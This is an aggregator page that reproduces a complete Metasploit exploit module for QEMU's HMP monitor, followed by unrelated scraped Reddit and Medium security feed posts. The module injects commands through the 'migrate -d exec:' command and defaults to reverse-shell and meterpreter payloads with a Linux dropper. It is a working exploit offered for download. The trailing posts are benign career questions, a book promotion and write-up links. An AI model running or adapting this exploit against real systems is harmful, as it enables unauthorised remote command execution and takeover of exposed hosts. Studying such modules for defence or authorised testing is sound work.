Exploit Collector
QEMU Monitor HMP migrate Command Execution

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
This Metasploit module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.

MD5 | e8ecc1c0c11599ea59c446e9c722572d

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
'Description' => %q{
This module uses QEMU's Monitor Human Monitor Interface (HMP)
TCP server to execute system commands using the `migrate` command.

This module has been tested successfully on QEMU version 6.2.0
on Ubuntu 20.04.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' => [
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
['URL', 'https://www.linux-kvm.org/page/Migration'],
],
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'Platform' => %w[unix linux],
'Payload' => {
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x22",
'Space' => 1010
},
'Targets' => [
[
'Unix (Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_cmd
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Type' => :linux_dropper
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Privileged' => false,
'DisclosureDate' => '2011-12-02'
)
)
end

def read_until_prompt
::Timeout.timeout(10) do
loop do
res = sock.get_once
break if res.nil?
break if res.to_s.include?('(qemu)')
end
end
end

def check
connect
banner = sock.get_once.to_s
disconnect

unless banner.include?('QEMU') && banner.include?('monitor')
return CheckCode::Safe('Service is not QEMU monitor HMP.')
end

CheckCode::Appears('QEMU monitor HMP service is running.')
end

def execute_command(cmd, _opts = {})
cmd = cmd.gsub('\\', '\\\\\\')
vprint_status("Executing command: #{cmd}")
sock.put("migrate -d \"exec:#{cmd}\"\n")
read_until_prompt
end

def exploit
connect
read_until_prompt

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1010, background: true)
end
ensure
disconnect unless sock.nil?
end
end

Source:packetstormsecurity.com

hacking: security in practice
How to stay motivated?

Hi! I am currently a student studying cyber security as a bacherlor and i am currently having a problem.

I have gotten extremely demotivated to contuinue cyber security, i used to be really motivated and worked alot with it as i liked it alot but lately (last maybe 1-2 months) i have lost all motivation. Any advise or tips / help would be appreciated.

submitted by /u/FranciscoBlackmore
[link] [comments]

hacking: security in practice
basic doubts

* what are job Opportunity in OSINT?
* can non tech guy jump into osint ?
* will i get any government job?

submitted by /u/retro1337
[link] [comments]

hacking: security in practice
wtf is ngrok

i had some problem with opening a port on modem someone told me to download "ngrok" is it safe

submitted by /u/astraldede
[link] [comments]

hacking: security in practice
How Docker Made Me More Capable and the Host Less Secure

https://external-preview.redd.it/0bLepJHLGByPYEAn-wqXKG3u_eQ4mcp_GK2mWEaULVc.jpg?width=640&crop=smart&auto=webp&s=25ba4bb5f413f703b586ba028cb9a87ae8e90540 submitted by /u/jat0369
[link] [comments]

Grab your digital copy of Mastering Kali Linux for Advanced Penetration Testing
https://www.reddit.com/r/Pentesting/comments/snoqx9/grab_your_digital_copy_of_mastering_kali_linux/

<!-- SC_OFF -->Packt has Published "Mastering Kali Linux for Advanced Penetration Testing " Grab your digital copy now if you feel you are interested. As part of our marketing activities, we are offering free digital copies of the book in return for unbiased feedback in the form of a reader review. This fourth edition is for security analysts, pentesters, ethical hackers, red team operators, and security consultants wanting to learn and optimize infrastructure/application/cloud security using advanced Kali Linux features. Prior penetration testing experience and basic knowledge of ethical hacking will help you make the most of this book. Here is what you will learn from the book: Exploit networks using wired/wireless networks, cloud infrastructure, and web services Learn embedded peripheral device, radio frequency, and IoT hacking techniques Master the art of bypassing traditional antivirus and endpoint detection and response (EDR) tools Test for data system exploits using Metasploit, PowerShell Empire, and CrackMapExec Perform cloud security vulnerability assessment and exploitation of security misconfiguration Take your physical security testing to the next level with RFID/Bluetooth hacking and learn how to clone identity cards Key Features Master advanced pentesting tactics and techniques with Kali Linux to build highly secure systems Leverage Kali Linux to penetrate modern infrastructures and avoid detection Explore red teaming and play the hackers game to proactively defend your infrastructure ​If you feel you might be interested in this opportunity, Please comment below or DM me for more details. <!-- SC_ON --> submitted by /u/RoyluisRodrigues (https://www.reddit.com/user/RoyluisRodrigues)
[link] (https://www.reddit.com/r/Pentesting/comments/snoqx9/grab_your_digital_copy_of_mastering_kali_linux/) [comments] (https://www.reddit.com/r/Pentesting/comments/snoqx9/grab_your_digital_copy_of_mastering_kali_linux/)

Web Testing & Pen Testing
https://www.reddit.com/r/Pentesting/comments/snrcpg/web_testing_pen_testing/

<!-- SC_OFF -->Hi all, I am currently studying for the OSCP but the one area which doesn't excite me are the Web attacks. I know the basics with Burp, SQLi etc but when it gets too detailed I begin to lose interest. On the other hand I quite enjoy the Linux and Active Directory stuff. I just wondered as a Pentester can you get by with only a basic knowledge of the Web testing or are there pen testing firms that maybe specialise in just AD for example? Thanks <!-- SC_ON --> submitted by /u/Cyb3rC3lt (https://www.reddit.com/user/Cyb3rC3lt)
[link] (https://www.reddit.com/r/Pentesting/comments/snrcpg/web_testing_pen_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/snrcpg/web_testing_pen_testing/)

100 DAYS OF HACKING — DAY 3
https://astroboy73.medium.com/100-days-of-hacking-day-3-6c46665d53a6?source=rss------bug_bounty-5

woohoo, sup fellow hackers. it’s day 3 / 100 we have a long way to go.Continue reading on Medium » (https://astroboy73.medium.com/100-days-of-hacking-day-3-6c46665d53a6?source=rss------bug_bounty-5)

100 Days of Hacking — DAY 4
https://astroboy73.medium.com/100-days-of-hacking-day-4-4dafd7deca05?source=rss------bug_bounty-5

Objectives of day 4 :Continue reading on Medium » (https://astroboy73.medium.com/100-days-of-hacking-day-4-4dafd7deca05?source=rss------bug_bounty-5)

SQL Injection, Reflected XSS and Information Disclosure in one subdomain in just 10 minutes
https://7odamo.medium.com/sql-injection-reflected-xss-and-information-disclosure-in-one-subdomain-in-just-10-minutes-f2ce877b43d4?source=rss------bug_bounty-5

Hi there, 7odamo is here. First of all this is my first write-up and i am still beginner, So i might write something wrong,Then it’s…Continue reading on Medium » (https://7odamo.medium.com/sql-injection-reflected-xss-and-information-disclosure-in-one-subdomain-in-just-10-minutes-f2ce877b43d4?source=rss------bug_bounty-5)